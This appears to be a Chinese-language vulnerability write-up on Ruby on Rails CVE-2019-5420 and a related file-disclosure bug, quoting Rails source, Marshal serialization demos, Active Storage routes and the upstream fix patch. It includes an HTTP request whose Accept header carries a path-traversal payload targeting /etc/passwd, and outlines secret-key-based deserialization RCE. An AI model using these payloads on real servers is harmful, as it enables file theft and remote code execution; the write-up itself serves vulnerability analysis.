module ActionView #:nodoc: # = Action View PathSet # # This class is used to store and access paths in Action View. A number of # operations are defined so that you can search among the paths in this # set and also perform operations on other +PathSet+ objects. # # A +LookupContext+ will use a +PathSet+ to store the paths in its context. class PathSet #:nodoc: include Enumerable
attr_reader :paths
delegate :[], :include?, :pop, :size, :each, to: :paths
def initialize(paths = []) @paths = typecast paths end
def initialize_copy(other) @paths = other.paths.dup self end
def to_ary paths.dup end
def compact PathSet.new paths.compact end
def +(array) PathSet.new(paths + array) end
%w(<< concat push insert unshift).each do |method| class_eval <<-METHOD, __FILE__, __LINE__ + 1 def #{method}(*args) paths.#{method}(*typecast(args)) end METHOD end def find(*args) find_all(*args).first || raise(MissingTemplate.new(self, *args)) end def find_file(path, prefixes = [], *args) _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args)) end def find_all(path, prefixes = [], *args) _find_all path, prefixes, args, false end def exists?(path, prefixes, *args) find_all(path, prefixes, *args).any? end def find_all_with_query(query) # :nodoc: paths.each do |resolver| templates = resolver.find_all_with_query(query) return templates unless templates.empty? end [] end private def _find_all(path, prefixes, args, outside_app) prefixes = [prefixes] if String === prefixes prefixes.each do |prefix| paths.each do |resolver| if outside_app templates = resolver.find_all_anywhere(path, prefix, *args) else templates = resolver.find_all(path, prefix, *args) end return templates unless templates.empty? end end [] end def typecast(paths) paths.map do |path| case path when Pathname, String OptimizedFileSystemResolver.new path.to_s else path end end end end end
$ ruby -v ruby 2.5.1p57 (2018-03-29 revision 63029) [x86_64-linux-gnu] $ rails -v Rails 5.2.1 $ rails new verifier_rce $ cd verifier_rce/ $ bundle install $ rails s => Booting Puma => Rails 5.2.1 application starting in development => Run `rails server -h` for more startup options Puma starting in single mode... * Version 3.12.6 (ruby 2.5.1-p57), codename: Llamas in Pajamas * Min threads: 5, max threads: 5 * Environment: development * Listening on tcp://localhost:3000 Use Ctrl-C to stop
访问 http://127.0.0.1:3000
burp请求:
1 2 3 4 5 6 7 8
GET /demo HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Accept: ../../../../../../../../etc/passwd{{ Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
在趋势科技漏洞研究服务漏洞报告的节选中,趋势科技安全研究团队的Sivathmican Sivakumaran和Pengsu Cheng详细介绍了Ruby on Rails中最近的一个代码执行漏洞。该漏洞最初是由研究人员ooooooo_q发现并报告的。以下是他们关于CVE-2019-5420的部分分析,只做了一些小修改。
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/Rails-doubletap-RCE-master# irb irb(main):001:0> class Test irb(main):002:1> attr_accessor :a irb(main):003:1> end => nil irb(main):004:0> test = Test.new => #<Test:0x000055cc97cd25a8> irb(main):005:0> test.a = "this is lUc1f3r11!" => "this is lUc1f3r11!" irb(main):006:0> Marshal.dump(test) => "\x04\bo:\tTest\x06:\a@aI\"\x17this is lUc1f3r11!\x06:\x06ET" irb(main):007:0> Marshal.load("\x04\bo:\tTest\x06:\a@aI\"\x17this is lUc1f3r11!\x06:\x06ET") => #<Test:0x000055cc97cdec18 @a="this is lUc1f3r11!">
如上所示,Marshal序列化格式使用 类型-长度-值 表示来序列化对象。
Active Storage默认为Rails应用程序添加了一些路由。
本报告着重关注以下两个routes,分别负责下载和上传文件:
1 2 3 4 5 6 7
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/Rails-doubletap-RCE-master/verifier_rce# rails routes ...... rails_disk_service GET /rails/active_storage/disk/:encoded_key/*filename(.:format) active_storage/disk#show update_rails_disk_service PUT /rails/active_storage/disk/:encoded_token(.:format) active_storage/disk#update ......
class MessageVerifier prepend Messages::Rotator::Verifier
class InvalidSignature < StandardError; end
def initialize(secret, options = {}) raise ArgumentError, "Secret should not be nil." unless secret @secret = secret @digest = options[:digest] || "SHA1" @serializer = options[:serializer] || Marshal end
def verify(*args) verified(*args) || raise(InvalidSignature) end
def verified(signed_message, purpose: nil, **) if valid_message?(signed_message) begin data = signed_message.split("--".freeze)[0] message = Messages::Metadata.verify(decode(data), purpose) @serializer.load(message) if message rescue ArgumentError => argument_error returnif argument_error.message.include?("invalid base64") raise end end end
# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies. secret_key_base: c5e186be65c42074bc994d608797592ed5d2e5cc665d7938d55a1e243a39f0f12135318dbace4afe872bb94d000fda35f60698f02f232c3fbfe99580e52419de
ruby exp 改写
Rails-doubletap-exploit
原理基于:
Ruby On Rails - DoubleTap Development Mode secret_key_base Remote Code Execution (Metasploit)
From 7f5ccda38bfecbe0bf00f15e5b8f5e40d52ab3f1 Mon Sep 17 00:00:00 2001 From: Aaron Patterson <aaron.patterson@gmail.com> Date: Sun, 10 Mar 2019 16:37:46 -0700 Subject: [PATCH] Fix possible dev mode RCE
If the secret_key_base is nil in dev or test generate a key from random bytes and store it in a tmp file. This prevents the app developers from having to share / checkin the secret key for dev / test but also maintains a key between app restarts in dev/test.
diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb index 4ea96196d3..b7475d3682 100644 --- a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb +++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb @@ -29,9 +29,10 @@ # # Rails.application.config.session_store :cookie_store, key: '_your_app_session' # - # By default, your secret key base is derived from your application name in - # the test and development environments. In all other environments, it is stored - # encrypted in the <tt>config/credentials.yml.enc</tt> file. + # In the development and test environments your application's secret key base is + # generated by Rails and stored in a temporary file in <tt>tmp/development_secret.txt</tt>. + # In all other environments, it is stored encrypted in the + # <tt>config/credentials.yml.enc</tt> file. # # If your application was not updated to Rails 5.2 defaults, the secret_key_base # will be found in the old <tt>config/secrets.yml</tt> file. diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb index e346d5cc3a..6a30e8cfa0 100644 --- a/railties/lib/rails/application.rb +++ b/railties/lib/rails/application.rb @@ -426,8 +426,8 @@ def secrets=(secrets) #:nodoc: # then credentials.secret_key_base, and finally secrets.secret_key_base. For most applications, # the correct place to store it is in the encrypted credentials file. def secret_key_base - if Rails.env.test? || Rails.env.development? - secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name) + if Rails.env.development? || Rails.env.test? + secrets.secret_key_base ||= generate_development_secret else validate_secret_key_base( ENV["SECRET_KEY_BASE"] || credentials.secret_key_base || secrets.secret_key_base @@ -588,6 +588,21 @@ def validate_secret_key_base(secret_key_base)
private
+ def generate_development_secret + if secrets.secret_key_base.nil? + key_file = Rails.root.join("tmp/development_secret.txt") + + if !File.exist?(key_file) + random_key = SecureRandom.hex(64) + File.binwrite(key_file, random_key) + end + + secrets.secret_key_base = File.binread(key_file) + end + + secrets.secret_key_base + end + def build_request(env) req = super env["ORIGINAL_FULLPATH"] = req.fullpath diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb index 293a1a7dbd..68c2199aba 100644 --- a/railties/test/application/configuration_test.rb +++ b/railties/test/application/configuration_test.rb @@ -513,6 +513,27 @@ def index end
+ test"application will generate secret_key_base in tmp file if blank in development"do + app_file "config/initializers/secret_token.rb", <<-RUBY + Rails.application.credentials.secret_key_base = nil + RUBY + + app "development" + + assert_not_nil app.secrets.secret_key_base + assert File.exist?(app_path("tmp/development_secret.txt")) + end + + test"application will not generate secret_key_base in tmp file if blank in production"do + app_file "config/initializers/secret_token.rb", <<-RUBY + Rails.application.credentials.secret_key_base = nil + RUBY + + assert_raises ArgumentError do + app "production" + end + end + test"raises when secret_key_base is blank"do app_file "config/initializers/secret_token.rb", <<-RUBY Rails.application.credentials.secret_key_base = nil @@ -550,7 +571,6 @@ def index test "application verifier can build different verifiers" do make_basic_app do |application| - application.credentials.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33" application.config.session_store :disabled end diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb index 6568a356d6..fe850d45ec 100644 --- a/railties/test/isolation/abstract_unit.rb +++ b/railties/test/isolation/abstract_unit.rb @@ -155,6 +155,7 @@ def self.name; "RailtiesTestApp"; end @app.config.active_support.deprecation = :log @app.config.active_support.test_order = :random @app.config.log_level = :info + @app.secrets.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33" yield @app if block_given? @app.initialize! -- 2.21.0
总结
此bug存在于版本6.0.0.X和5.2.X of Rails。鉴于此漏洞的CVSS v3评分为9.8,使用Rails用户肯定应该尽快升级或应用缓解措施。